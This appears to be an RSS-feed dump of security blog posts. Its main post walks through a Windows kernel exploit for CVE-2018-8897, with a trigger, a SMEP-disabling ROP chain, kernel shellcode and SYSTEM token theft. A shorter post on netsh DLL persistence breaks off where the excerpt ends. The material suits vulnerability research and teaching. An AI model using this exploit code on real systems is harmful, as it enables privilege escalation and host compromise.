height="194" src="https://3.bp.blogspot.com/--Yxm3OKmCA0/W3wrQZUKXpI/AAAAAAAABAM/XY0eVc1wZcAXHe54dneIAMSR5hkIMg2XgCLcBGAs/s640/3.PNG" width="640" alt="3.PNG"></a></div><div style="clear:both;text-align:center;"><br></div> <b style="font-family:Arial;font-size:14.6667px;white-space:pre-wrap;">Bcrypt</b><br><div style="clear:both;text-align:center;"><a href="https://1.bp.blogspot.com/-uePU063CGaQ/W3wrQudmpxI/AAAAAAAABAQ/2TwafdgMRUccTBGtj3z3EMNPMD15MESEwCLcBGAs/s1600/4.PNG" style="margin-left:1em;margin-right:1em;"><img height="192" src="https://1.bp.blogspot.com/-uePU063CGaQ/W3wrQudmpxI/AAAAAAAABAQ/2TwafdgMRUccTBGtj3z3EMNPMD15MESEwCLcBGAs/s640/4.PNG" width="640" alt="4.PNG"></a></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><br></span></div><b style="font-family:Arial;font-size:11pt;white-space:pre-wrap;">After thoughts</b><br><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><span style="font-size:11pt;vertical-align:baseline;">We do regret not switching over to <a href="http://www.openwall.com/john/">JTR</a> for a nice bcrypt speedup when more candidates than cores are used due to its bitslice implementation, yielding up to twice the speed over MDXfind. We also failed to spot the full range of starting characters for bcrypt and lost some valuable points there too.</span></div><br><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><span style="font-size:11pt;vertical-align:baseline;">Towards the end we tried to spread the attacks across all the algorithms so we would not only be ranked highest by score but also highest across algorithms. This was quite hard to maintain as it seemed like both team hashcat and john were gaining ground on us. Overall, we were quite impressed with our ability to obtain more unique bcrypt firsts than both john-users and hashcat combined which allowed us to take first place. A massive thanks to <a href="https://korelogic.com/">Korelogic</a> for hosting the contest once again, we really enjoyed the added twist this year as it gave us all an incentive to constantly submit. A shout out to our competitive rivals, Team Hashcat and john-users for pushing us hard and making us drink that extra cup of coffee to stay up.</span></div><div style="font-family:Arial;font-size:11pt;white-space:pre-wrap;"><span style="font-family:arial;font-size:11pt;vertical-align:baseline;white-space:pre-wrap;"><br></span></div><b style="font-family:Arial;font-size:11pt;white-space:pre-wrap;">Looking </b><span style="font-family:arial;"><span style="font-size:14.6667px;white-space:pre-wrap;"><b>ahead</b></span></span><br><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><span style="font-size:11pt;vertical-align:baseline;">We have enjoyed playing CMIYC over the years. So, when presented with the opportunity to create our own password cracking contest we jumped at the idea. In 2019, we will be hosting our own CMIYC style contest at Cyphercon in Milwaukee, WI. We hope all of you will join us for the first “Crackthecon”. As more information about the contest is finalized we will update the contest site <a href="http://crackthecon.com/">crackthecon.com</a>. </span></div><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><span style="font-size:11pt;vertical-align:baseline;"><br></span></div><div style="clear:both;text-align:center;"><br></div><div dir="ltr" style="font-family:Arial;font-size:11pt;line-height:1.38;margin-bottom:0pt;margin-top:0pt;text-align:justify;white-space:pre-wrap;"><br></div></div><span><span></span></span></div><span></span></div>]]></description>
<pubDate>Thu, 23 Aug 2018 14:48:18 +0000</pubDate>
<dc:creator>CynoSure Prime</dc:creator>
<source url="http://cynosureprime.blogspot.com/">CynoSure Prime</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7e4952d5dd</guid>
</item>
<item>
<title>Arbitrary Code Execution at Ring 0 using CVE-2018-8897</title>
<link>https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/</link>
<description><![CDATA[<p>Just a few days ago, a new vulnerability allowing an unprivileged user to run #DB handler with user-mode GSBASE was found by Nick Peterson (<a href="https://twitter.com/nickeverdox">@nickeverdox</a>) and Nemanja Mulasmajic (<a href="https://twitter.com/0xNemi">@0xNemi</a>). At the end of the whitepaper they published on <a href="http://triplefault.io">triplefault.io</a>, they mentioned that they were able to load and execute unsigned kernel code, which got me interested in the challenge; and that’s exactly what I’m going to attempt doing in this post.</p> 
<p>Before starting, I would like to note that this exploit will not work on a Virtual Machine as int3 discards #DB under virtualization. I debugged it by “simulating” this situation.</p> 
<p><em>Final source code can be found at the bottom.</em></p> 
<h1>0x0: Setting Up the Basics</h1> 
<p>The fundamentals of this exploit is really simple unlike the exploitation of it. When stack segment is changed –whether via MOV or POP– until the next instruction completes interrupts are deferred. This is not a microcode bug but rather a feature added by Intel so that stack segment and stack pointer can get set at the same time.</p> 
<p>However, many OS vendors missed this detail, which lets us raise a #DB exception as if it comes from CPL0 from user-mode.</p> 
<p>We can create a deferred-to-CPL0 exception by setting debug registers in such a way that during the execution of stack-segment changing instruction a #DB will raise and calling <em>int 3</em> right after. int 3 will jump to KiBreakpointTrap, and before the first instruction of KiBreakpointTrap executes, our #DB will be raised.</p> 
<p>As it is mentioned by the everdox and 0xNemi in the original whitepaper, this lets us run a kernel-mode exception handler with our user-mode GSBASE. Debug registers and XMM registers will also be persisted.</p> 
<p>All of this can be done in a few lines like shown below:</p> 
<pre>#include &lt;Windows.h&gt;
 
#include &lt;iostream&gt;
 

 
void main()
 
{
 
  static DWORD g_SavedSS = 0;
 

 
  _asm
 
  {
 
    mov ax, ss
 
    mov word ptr [ g_SavedSS ], ax
 
  }
 

 
  CONTEXT Ctx = { 0 };
 
  Ctx.Dr0 = ( DWORD ) &amp;g_SavedSS;
 
  Ctx.Dr7 = ( 0b1 &lt;&lt; 0 ) | ( 0b11 &lt;&lt; 16 ) | ( 0b11 &lt;&lt; 18 );
 
  Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
 
  SetThreadContext( HANDLE( -2 ), &amp;Ctx );
 

 
  PVOID FakeGsBase = ...;
 

 
  _asm
 
  {
 
    mov eax, FakeGsBase                     ; Set eax to fake gs base
 

 
    push 0x23
 
    push X64_End
 
    push 0x33
 
    push X64_Start
 
    retf 
 

 
    X64_Start:
 
    __emit 0xf3								; wrgsbase eax
 
    __emit 0x0f
 
    __emit 0xae
 
    __emit 0xd8
 
    retf 
 
    X64_End:
 
    
 
    ; Vulnerability
 
    mov ss, word ptr [ g_SavedSS ]			; Defer debug exception
 
    int 3                           		; Execute with interrupts disabled
 
    nop
 
  }
 
}</pre> 
<p><em>This example is 32-bit for the sake of showing ASM and C together, the final working code will be 64-bit.</em></p> 
<p>Now let’s start debugging, we are in <strong>KiDebugTrapOrFault</strong> with our custom GSBASE! However, this is nothing but catastrophic, almost no function works and we will end up in a KiDebugTrapOrFault-&gt;KiGeneralProtectionFault-&gt;KiPageFault-&gt;KiPageFault-&gt;… infinite loop. If we had a perfectly valid GSBASE, the outcome of what we achieved so far would be a KMODE_EXCEPTION_NOT_HANDLED BSOD<strong>,</strong> so let’s focus on making GSBASE function like the real one and try to get to KeBugCheckEx.</p> 
<p>We can utilize a small IDA script to step to relevant parts faster:</p> 
<pre>#include &lt;idc.idc&gt;
 

 
static main() 
 
{
 
  Message( "--- Step Till Next GS ---\n" );
 
  
 
  while( 1 )
 
  {
 
    auto Disasm = GetDisasmEx( GetEventEa(), 1 );
 
    if ( strstr( Disasm, "gs:" ) &gt;= Disasm )
 
      break;
 
    StepInto();
 
    GetDebuggerEvent( WFNE_SUSP, -1 );
 
  }
 
}</pre> 
<h1>0x1: Fixing the KPCR Data</h1> 
<p>Here are the few cases we have to modify GSBASE contents to pass through successfully:</p> 
<h3>– KiDebugTrapOrFault</h3> 
<pre>KiDebugTrapOrFault:
 
...
 
MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h</pre> 
<p>Pcr.Prcb.MxCsr needs to have a valid combination of flags to pass this instruction or else it will raise a #GP. So let’s set it to its initial value, 0x1F80.</p> 
<h3>– KiExceptionDispatch</h3> 
<pre>KiExceptionDispatch:
 
...
 
MEMORY:FFFFF8018C20DB5F mov     rax, gs:188h
 
MEMORY:FFFFF8018C20DB68 bt      dword ptr [rax+74h], 8</pre> 
<p>Pcr.Prcb.CurrentThread is what resides in gs:188h. We are going to allocate a block of memory and reference it in gs:188h.</p> 
<h3>– KiDispatchException</h3> 
<pre>KiDispatchException:
 
...
 
MEMORY:FFFFF8018C12A4D8 mov     rax, gs:qword_188
 
MEMORY:FFFFF8018C12A4E1 mov     rax, [rax+0B8h]</pre> 
<p>This is Pcr.Prcb.CurrentThread.ApcStateFill.Process and again we are going to allocate a block of memory and simply make this pointer point to it.</p> 
<pre>KeCopyLastBranchInformation:
 
...
 
MEMORY:FFFFF8018C12A0AC mov     rax, gs:qword_20
 
MEMORY:FFFFF8018C12A0B5 mov     ecx, [rax+148h]</pre> 
<p>0x20 from GSBASE is Pcr.CurrentPrcb, which is simply Pcr + 0x180. Let’s set Pcr.CurrentPrcb to Pcr + 0x180 and also set Pcr.Self to &amp;Pcr while on it.</p> 
<h3>– RtlDispatchException</h3> 
<p>This one is going to be a little bit more detailed. RtlDispatchException calls RtlpGetStackLimits, which calls KeQueryCurrentStackInformation and <em>__fastfail</em>s if it fails. The problem here is that KeQueryCurrentStackInformation checks the current value of RSP against Pcr.Prcb.RspBase, Pcr.Prcb.CurrentThread-&gt;InitialStack, Pcr.Prcb.IsrStack and if it doesn’t find a match it reports failure. We obviously cannot know the value of kernel stack from user-mode, so what to do?</p> 
<p>There’s a weird check in the middle of the function:</p> 
<pre>char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
 
{
 
  ...
 
  if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
 
  {
 
    ...
 
  }
 
  else
 
  {
 
    *v5 = 5;
 
    result = 1;
 
    *v3 = 0xFFFFFFFFFFFFFFFFi64;
 
    *v4 = 0xFFFF800000000000i64;
 
  }
 
  return result;
 
}</pre> 
<p>Thanks to this check, as long as we make sure KThread.InitialStack (KThread + 0x28) is not equal to Pcr.Prcb.RspBase (gs:1A8h) KeQueryCurrentStackInformation will return success with 0xFFFF800000000000-0xFFFFFFFFFFFFFFFF as the reported stack range. Let’s go ahead and set Pcr.Prcb.RspBase to 1 and Pcr.Prcb.CurrentThread-&gt;InitialStack to 0. Problem solved.</p> 
<p>RtlDispatchException after this changes will fail without bugchecking and return to KiDispatchException.</p> 
<h3>– KeBugCheckEx</h3> 
<p>We are finally here. Here’s the last thing we need to fix:</p> 
<pre>MEMORY:FFFFF8018C1FB94A mov     rcx, gs:qword_20
 
MEMORY:FFFFF8018C1FB953 mov     rcx, [rcx+62C0h]
 
MEMORY:FFFFF8018C1FB95A call    RtlCaptureContext</pre> 
<p>Pcr.CurrentPrcb-&gt;Context is where KeBugCheck saves the context of the caller and for some weird reason, it is a PCONTEXT instead of a CONTEXT. We don’t really care about any other fields of Pcr so let’s just set it to Pcr+ 0x3000 just for the sake of having a valid pointer for now.</p> 
<h1>0x2: <img src="https://blog.can.ac/wp-content/uploads/2018/05/okrUD-1.png" alt="" width="59" height="37"> and Write|What|Where</h1> 
<p>And there we go, sweet sweet blue screen of victory!</p> 
<p><img src="https://blog.can.ac/wp-content/uploads/2018/05/okrUD.png" alt="KMODE_EXCEPTION_NOT_HANDLED" width="640" height="480"></p> 
<p> </p> 
<p>Now that everything works, how can we exploit it?</p> 
<p>The code after KeBugCheckEx is too complex to step in one by one and it is most likely not-so-fun to revert from so let’s try NOT to bugcheck this time.</p> 
<p>I wrote another IDA script to log the points of interest (such as gs: accesses and jumps and calls to registers and [registers+x]) and made it step until  KeBugCheckEx is hit:</p> 
<pre>#include &lt;idc.idc&gt;
 

 
static main() 
 
{
 
  Message( "--- Logging Points of Interest ---\n" );
 
  
 
  while( 1 )
 
  {
 
    auto IP = GetEventEa();
 
    auto Disasm = GetDisasmEx( IP, 1 );
 
    
 
    if
 
    ( 
 
      ( strstr( Disasm, "gs:" ) &gt;= Disasm ) ||
 
      ( strstr( Disasm, "jmp r" ) &gt;= Disasm ) ||
 
      ( strstr( Disasm, "call r" ) &gt;= Disasm ) ||
 
      ( strstr( Disasm, "jmp" ) &gt;= Disasm &amp;&amp; strstr( Disasm, "[r" ) &gt;= Disasm ) ||
 
      ( strstr( Disasm, "call" ) &gt;= Disasm &amp;&amp; strstr( Disasm, "[r" ) &gt;= Disasm )
 
    )
 
    {
 
    Message( "-- %s (+%x): %s\n", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
 
    }
 
    
 
    StepInto();
 
    GetDebuggerEvent( WFNE_SUSP, -1 );
 
    
 
    if( IP == ... )
 
    break;
 
  }
 
}
 
</pre> 
<p>To my disappointment, there is no convenient jumps or calls. The whole output is:</p> 
<pre>- KiDebugTrapOrFault (+3d):                   test    word ptr gs:278h, 40h
 
- sub_FFFFF8018C207019 (+5):                  ldmxcsr dword ptr gs:180h
 
-- KiExceptionDispatch (+5f):                 mov     rax, gs:188h
 
--- KiDispatchException (+48):                mov     rax, gs:188h
 
--- KiDispatchException (+5c):                inc     gs:5D30h
 
---- KeCopyLastBranchInformation (+38):       mov     rax, gs:20hh
 
---- KeQueryCurrentStackInformation (+3b):    mov     rax, gs:188h
 
---- KeQueryCurrentStackInformation (+44):    mov     rcx, gs:1A8h
 
--- KeBugCheckEx (+1a):                       mov     rcx, gs:20h</pre> 
<p>This means that we have to find a way to write to kernel-mode memory and abuse that instead. RtlCaptureContext will be a tremendous help here. As I mentioned before, it is taking the context pointer from Pcr.CurrentPrcb-&gt;Context, which is weirdly a <strong>PCONTEXT Context</strong> and not a <strong>CONTEXT Context</strong>, meaning we can supply it any kernel address and make it write the context over it.</p> 
<p>I was originally going to make it write over g_CiOptions and continuously NtLoadDriver in another thread, but this idea did not work as well as I thought (That being said, this is the way @everdox and @0xNemi got it working. I guess we will see what dark magic they used at BlackHat 2018) simply because the current thread is stuck in an infinite loop and the other thread trying to NtLoadDriver will not succeed because of the IPI it uses:</p> 
<blockquote><p>NtLoadDriver-&gt;…-&gt;MiSetProtectionOnSection-&gt;KeFlushMultipleRangeTb-&gt;IPI-&gt;Deadlock</p></blockquote> 
<p>After playing around with g_CiOptions for 1-2 days, I thought of a much better idea: building a ROP chain.</p> 
<p>How are we going to build a ROP chain without access to RSP? If we use a little bit of creativity, we actually can have access to RSP. We can get the current RSP by making Prcb.Context point to a user-mode memory and polling Context.RSP value from a secondary thread. Sadly, this is not useful by itself as we already passed RtlCaptureContext (our write what where exploit).</p> 
<p>However, if we could return back to KiDebugTrapOrFault after RtlCaptureContext finishes its work and somehow predict the next value of RSP, this would be extremely abusable; which is exactly what we are going to do.</p> 
<p>To return back to KiDebugTrapOrFault, we will again use our lovely debug registers. Right after RtlCaptureContext returns, a call to KiSaveProcessorControlState is made.</p> 
<pre>.text:000000014017595F                 mov     rcx, gs:20h
 
.text:0000000140175968                 add     rcx, 100h
 
.text:000000014017596F                 call    KiSaveProcessorControlState
 

 
.text:0000000140175C80 KiSaveProcessorControlState proc near   ; CODE XREF: KeBugCheckEx+3Fp
 
.text:0000000140175C80                                         ; KeSaveStateForHibernate+ECp ...
 
.text:0000000140175C80                 mov     rax, cr0
 
.text:0000000140175C83                 mov     [rcx], rax
 
.text:0000000140175C86                 mov     rax, cr2
 
.text:0000000140175C89                 mov     [rcx+8], rax
 
.text:0000000140175C8D                 mov     rax, cr3
 
.text:0000000140175C90                 mov     [rcx+10h], rax
 
.text:0000000140175C94                 mov     rax, cr4
 
.text:0000000140175C97                 mov     [rcx+18h], rax
 
.text:0000000140175C9B                 mov     rax, cr8
 
.text:0000000140175C9F                 mov     [rcx+0A0h], rax</pre> 
<p>We will set DR1 on gs:20h + 0x100 + 0xA0, and make KeBugCheckEx return back to KiDebugTrapOrFault.</p> 
<p>To write our ROP chain, we will first let KiDebugTrapOrFault-&gt;…-&gt;RtlCaptureContext execute once giving our user-mode thread an initial RSP value, then we will let it execute another time to get the new RSP, which will let us calculate per-execution RSP difference. This RSP delta will be constant because the control flow is also constant.</p> 
<p>Now that we have our RSP delta, we will predict the next value of RSP, subtract 8 from that to calculate the return pointer of RtlCaptureContext and make Prcb.Context.Xmm13 – Prcb.Context.Xmm15, write over it.</p> 
<p>Thread logic will be like the following:</p> 
<pre>volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
 

 
while ( !Ctx-&gt;Rsp );											                // Wait for RtlCaptureContext to be called once so we get leaked RSP
 
uint64_t StackInitial = Ctx-&gt;Rsp;
 
while ( Ctx-&gt;Rsp == StackInitial );								       // Wait for it to be called another time so we get the stack pointer difference 
 
                                                          // between sequential KiDebugTrapOrFault
 
StackDelta = Ctx-&gt;Rsp - StackInitial;
 
PredictedNextRsp = Ctx-&gt;Rsp + StackDelta;						     // Predict next RSP value when RtlCaptureContext is called
 
uint64_t NextRetPtrStorage = PredictedNextRsp - 0x8;			// Predict where the return pointer will be located at
 
NextRetPtrStorage &amp;= ~0xF;
 
*( uint64_t* ) ( Prcb + Offset_Prcb__Context ) = NextRetPtrStorage - Offset_Context__XMM13;	
 
                                                          // Make RtlCaptureContext write XMM13-XMM15 over it</pre> 
<p>Now we simply need to set-up a ROP chain and write it to XMM13-XMM15. We cannot predict which half of XMM15 will get hit due to the mask we apply to comply with the movaps alignment requirement, so first two pointers should simply point at a [RETN] instruction.</p> 
<p>We need to load a register with a value we choose to set CR4 so XMM14 will point at a [POP RCX; RETN] gadget, followed by a valid CR4 value with SMEP disabled. As for XMM13, we are simply going to use a [MOV CR4, RCX; RETN;] gadget followed by a pointer to our shellcode.</p> 
<p>The final chain will look something like:</p> 
<pre>-- &amp;retn;                (fffff80372e9502d)
 
-- &amp;retn;                (fffff80372e9502d)
 
-- &amp;pop rcx; retn;       (fffff80372ed9122)
 
-- cr4_nosmep            (00000000000506f8)
 
-- &amp;mov cr4, rcx; retn;  (fffff803730045c7)
 
-- &amp;KernelShellcode      (00007ff613fb1010)</pre> 
<p>In our shellcode, we will need to restore the CR4 value, swapgs, rollback ISR stack, execute the code we want and IRETQ back to user-mode which can be done like below:</p> 
<pre>NON_PAGED_DATA fnFreeCall k_ExAllocatePool = 0;
 

 
using fnIRetToVulnStub = void( * )  ( uint64_t Cr4, uint64_t IsrStack, PVOID ContextBackup );
 
NON_PAGED_DATA BYTE IRetToVulnStub[] = 
 
{
 
  0x0F, 0x22, 0xE1,		// mov cr4, rcx ; cr4 = original cr4
 
  0x48, 0x89, 0xD4,		// mov rsp, rdx ; stack = isr stack
 
  0x4C, 0x89, 0xC1,		// mov rcx, r8  ; rcx = ContextBackup
 
  0xFB,				        // sti          ; enable interrupts
 
  0x48, 0xCF			     // iretq        ; interrupt return
 
};
 

 
NON_PAGED_CODE void KernelShellcode()
 
{
 
  __writedr( 7, 0 );
 

 
  uint64_t Cr4Old = __readgsqword( Offset_Pcr__Prcb + Offset_Prcb__Cr4 );
 
  __writecr4( Cr4Old &amp; ~( 1 &lt;&lt; 20 ) );
 

 
  __swapgs();
 

 
  uint64_t IsrStackIterator = PredictedNextRsp - StackDelta - 0x38;
 

 
  __writedr( 2, StackDelta );
 
  __writedr( 3, IsrStackIterator );
 

 
  // Unroll nested KiBreakpointTrap -&gt; KiDebugTrapOrFault -&gt; KiTrapDebugOrFault
 
  while ( 
 
    ( ( ISR_STACK* ) IsrStackIterator )-&gt;CS == 0x10 &amp;&amp;
 
    ( ( ISR_STACK* ) IsrStackIterator )-&gt;RIP &gt; 0x7FFFFFFEFFFF )
 
  {
 

 
    __rollback_isr( IsrStackIterator );
 

 
    // We are @ KiBreakpointTrap -&gt; KiDebugTrapOrFault, which won't follow the RSP Delta
 
    if ( ( ( ISR_STACK* ) ( IsrStackIterator + 0x30 ) )-&gt;CS == 0x33 )
 
    {
 
      /*
 
      fffff00e`d7a1bc38 fffff8007e4175c0 nt!KiBreakpointTrap
 
      fffff00e`d7a1bc40 0000000000000010 
 
      fffff00e`d7a1bc48 0000000000000002 
 
      fffff00e`d7a1bc50 fffff00ed7a1bc68 
 
      fffff00e`d7a1bc58 0000000000000000 
 
      fffff00e`d7a1bc60 0000000000000014 
 
      fffff00e`d7a1bc68 00007ff7e2261e95 --
 
      fffff00e`d7a1bc70 0000000000000033 
 
      fffff00e`d7a1bc78 0000000000000202 
 
      fffff00e`d7a1bc80 000000ad39b6f938 
 
      */
 
      IsrStackIterator = IsrStackIterator + 0x30;
 
      break;
 
    }
 

 
    IsrStackIterator -= StackDelta;
 
  }
 

 

 
  PVOID KStub = ( PVOID ) k_ExAllocatePool( 0ull, ( uint64_t )sizeof( IRetToVulnStub ) );
 
  Np_memcpy( KStub, IRetToVulnStub, sizeof( IRetToVulnStub ) );
 

 
  // ------ KERNEL CODE ------
 

 
  ....
 

 
  // ------ KERNEL CODE ------
 

 
  __swapgs();
 

 
  ( ( ISR_STACK* ) IsrStackIterator )-&gt;RIP += 1;
 
  ( fnIRetToVulnStub( KStub ) )( Cr4Old, IsrStackIterator, ContextBackup );
 
}</pre> 
<p>We can’t restore any registers so we will make the thread responsible for the execution of vulnerability store the context in a global container and restore from it instead. Now that we executed our code and returned to user-mode, our exploit is complete!</p> 
<p>Let’s make a simple demo stealing the System token:</p> 
<pre>uint64_t SystemProcess = *k_PsInitialSystemProcess;
 
uint64_t CurrentProcess = k_PsGetCurrentProcess();
 

 
uint64_t CurrentToken = k_PsReferencePrimaryToken( CurrentProcess );
 
uint64_t SystemToken = k_PsReferencePrimaryToken( SystemProcess );
 

 
for ( int i = 0; i &lt; 0x500; i+= 0x8 )
 
{
 
  uint64_t Val = *( uint64_t * ) ( CurrentProcess + i );
 
  Val &amp;= ~0xF;
 

 
  if ( Val == CurrentToken )
 
  {
 
    *( uint64_t * ) ( CurrentProcess + i ) = SystemToken;
 
    break;
 
  }
 
}
 

 

 
k_PsDereferencePrimaryToken( CurrentToken );
 
k_PsDereferencePrimaryToken( SystemToken );</pre> 
<p> </p> 
<p><img src="https://blog.can.ac/wp-content/uploads/2018/05/K1DL2.png" alt="" width="613" height="820"></p> 
<p><img src="https://blog.can.ac/wp-content/uploads/2018/05/aF6dL.png" alt="" width="613" height="49"></p> 
<p> </p> 
<p>Complete implementation of the concept can be found at: <a href="https://github.com/can1357/CVE-2018-8897">https://github.com/can1357/CVE-2018-8897</a></p> 
<p>Credits:</p> 
<ul><li><a href="https://twitter.com/0xNemi">@0xNemi</a> and <a href="https://twitter.com/nickeverdox">@nickeverdox</a> for finding the vulnerability</li> 
</ul><p> </p> 
<p><em>P.S.: If you want to try this exploit out, you can uninstall the <a href="https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8897">relevant update</a> and give it a try!</em></p> 
<p><em>P.P.S.: Before you ask why I don’t use intrinsics to read/write GSBASE, it is because MSVC generates invalid code:</em></p> 
<p><img src="https://blog.can.ac/wp-content/uploads/2018/05/ivP9N.png" alt="" width="424" height="67"></p> 
<p><img src="https://blog.can.ac/wp-content/uploads/2018/05/4rKSb.png" alt="" width="238" height="81"></p>]]></description>
<pubDate>Mon, 14 May 2018 05:21:39 +0000</pubDate>
<dc:creator>Can Bölük</dc:creator>
<source url="https://blog.can.ac/">Can.ac</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7e16ba82c7</guid>
</item>
<item>
<title>Slack Notifications for Cobalt Strike</title>
<link>http://threatexpress.com/2016/12/slack-notifications-for-cobalt-strike/</link>
<description><![CDATA[<p>We’ve seen several great incoming agent/shell notification mechanisms for Metasploit and Empire recently and the utility of being notified when new shells appear is without question. This is especially true when conducting...</p> 
<p>The post <a href="http://threatexpress.com/2016/12/slack-notifications-for-cobalt-strike/">Slack Notifications for Cobalt Strike</a> appeared first on <a href="http://threatexpress.com">Threat Express</a>.</p>]]></description>
<pubDate>Tue, 17 Jan 2017 17:26:46 +0000</pubDate>
<dc:creator>Andrew Chiles</dc:creator>
<source url="https://threatexpress.com/">Threat Express</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7fc0d99b84</guid>
</item>
<item>
<title>Call for Papers Open</title>
<link>http://shmoocon.org/2016/09/20/call-for-papers-open/</link>
<description><![CDATA[<p>ShmooCon and The Shmoo Group are <a href="http://shmoocon.org/cfp/">soliciting papers and presentations</a> for the thirteenth ShmooCon.  Wahoo!</p>]]></description>
<pubDate>Mon, 03 Oct 2016 03:29:51 +0000</pubDate>
<dc:creator>bruce</dc:creator>
<source url="https://www.shmoocon.org/">ShmooCon News</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7f8ee9008c</guid>
</item>
<item>
<title>Maltego 4 CE / Kali Linux release is ready for download!</title>
<link>http://maltego.blogspot.com/2016/09/maltego-4-ce-kali-linux-release-is.html</link>
<description><![CDATA[Hi there,<br><br>We're happy to announce that Maltego 4 is now (finally) ready for the masses! We're releasing the community (free) edition today and the Kali distros have been updated by the kind people from <a href="https://www.offensive-security.com/">Offensive Security</a> (thanks Dookie/Muts!).  In other words - we're ready to roll on a major upgrade of your favorite information visualization tool.<br><br><div style="clear:both;text-align:center;"><a href="https://www.youtube.com/watch?v=RUnhnj-Z-FA"><img height="360" src="https://3.bp.blogspot.com/-cQOzgzXFxQg/V-pMlPHsSTI/AAAAAAAABB8/HIi9zopa0TE_a_fPbmYbwn7C4sPPBal-ACLcB/s640/kali.jpg" width="640" alt="kali.jpg"></a></div><br>(click on the image above to see our very grown-up/proper promotional video of Sandra the 15 year old Dachshund and Maltego/Kali Linux. !(We plan to screen this at our booth at a major conference.))<br><br>Our decision to make CaseFile free with the release of Maltego 4 had some interesting side-effects. In CaseFile importing data from CSV/XLS was enabled. So too printing. And reporting. So when we made CaseFile free it did not make sense to limit the Kali/CE releases - you'd simply open CaseFile, import the data and save the graph - then open in CE.<br><br>So - bottom line - reporting/printing/CSV import is now enabled in the free release!<br><br>The major changes from 3.6 to 4.0 is the ability to render and use large graphs, the use of collection nodes and a brand new interface. To see a more complete overview of the improvements in Maltego 4 you might want to view our release video [<a href="https://www.youtube.com/watch?v=JTZfkQzMaPc">HERE</a>].<br><br>For the CE version (OSX/Windows/Linux/SNES/ZX81/C64) click [<a href="https://www.paterva.com/web7/downloads.php#tab-3">HERE</a>], download and install.<br><br>For Kali Linux - if you're running 2016.2 (recommended) you can simply type:<br><br><span style="font-family:'Courier New', Courier, monospace;"># apt-get update &amp;&amp; apt-get install maltegoce</span><br><div><br></div>If you're using Kali Linux 2016.1 it's a bit of a bigger mission but you can open a terminal and type:<br><br><span style="font-family:'Courier New', Courier, monospace;"># apt-get update &amp;&amp; apt-get dist-upgrade</span><br><br>This will upgrade your Kali to the latest - and it's good thing(tm) anyhow.<br>Once you're good to go start Maltego like you normally do.<br><br><div style="clear:both;text-align:center;"><a href="https://2.bp.blogspot.com/-BC692p9jeyE/V-vnWs5hgnI/AAAAAAAABCQ/t2vJe39YxA4Yx_3Azr4z7vtacruPXLqHgCLcB/s1600/Fullscreen%2Bcapture%2B9282016%2B55022%2BPM.jpg" style="margin-left:1em;margin-right:1em;"><img height="388" src="https://2.bp.blogspot.com/-BC692p9jeyE/V-vnWs5hgnI/AAAAAAAABCQ/t2vJe39YxA4Yx_3Azr4z7vtacruPXLqHgCLcB/s640/Fullscreen%2Bcapture%2B9282016%2B55022%2BPM.jpg" width="640" alt="Fullscreen%2Bcapture%2B9282016%2B55022%2"></a></div><br><br>We hope you have endless fun using Maltego 4 and that you find it super useful in your explorations.<br><br>RT<br><br>]]></description>
<pubDate>Mon, 03 Oct 2016 03:29:13 +0000</pubDate>
<dc:creator>RT</dc:creator>
<source url="https://maltego.blogspot.com/">Maltego Blog</source>
<guid isPermaLink="false">http://www.inoreader.com/article/3a9c6e7f81ee8f83</guid>
</item>
<item>
<title>Using NetShell to execute evil DLLs and persist on a host</title>
<link>http://www.adaptforward.com/2016/09/using-netshell-to-execute-evil-dlls-and-persist-on-a-host/</link>
<description><![CDATA[<h3><strong>By Matthew Demaske, Director of Threat Research</strong></h3> 
<h3><strong>I’m always looking for ways an adversary can execute something on a system via “trusted” methods. One great example is Powershell. It’s beloved by sysadmins and hackers alike. AV won’t care and Virustotal says it’s squeaky clean. I’m not going to go into all the various avenues of attack via Powershell because I’ll be here all night. Just know that anything that’s available to your users/staff is available to an attacker. After all, once someone gets into your network, what separates them from a legitimate user? Nothing. Any tool that will give you information about a system(s) is fair game. Ipconfig may seem like a harmless command, but it can give an attacker useful information. Same goes for a ton of other commands. </strong></h3> 
<h3><strong>Check out this big list of native commands regularly used in recorded cyber attacks: <a href="http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html">http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html</a>. Built in native Windows tools are some of the best ways to pwn a network while avoiding detection.<br></strong></h3> 
<h3><strong>The discouraging thing is that most of these commands occur thousands upon thousands of times legitimately on your network. Simply throwing ipconfig.exe into a blacklist for your SIEM to alert on will make people very angry at you. These aren’t traditional indicators of compromise, but with added context, they absolutely can be. This is why I’m a fan of hiring real human people to hunt, instead of buying a box or a feed subscription. But, that’s a rant for another post.</strong></h3> 
<h3><strong>To get back on track, I was researching ways an adversary could use the Windows Firewall command line tool called netsh(NetShell) when I saw something curious in the list of available commands: “add”</strong></h3> 
<h3><a href="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh1.png"><img src="http://www.adaptforward.com/wp-content/uploads/2016/09/netsh1-768x395.png" alt="netsh1" width="768" height="395"></a></h3> 
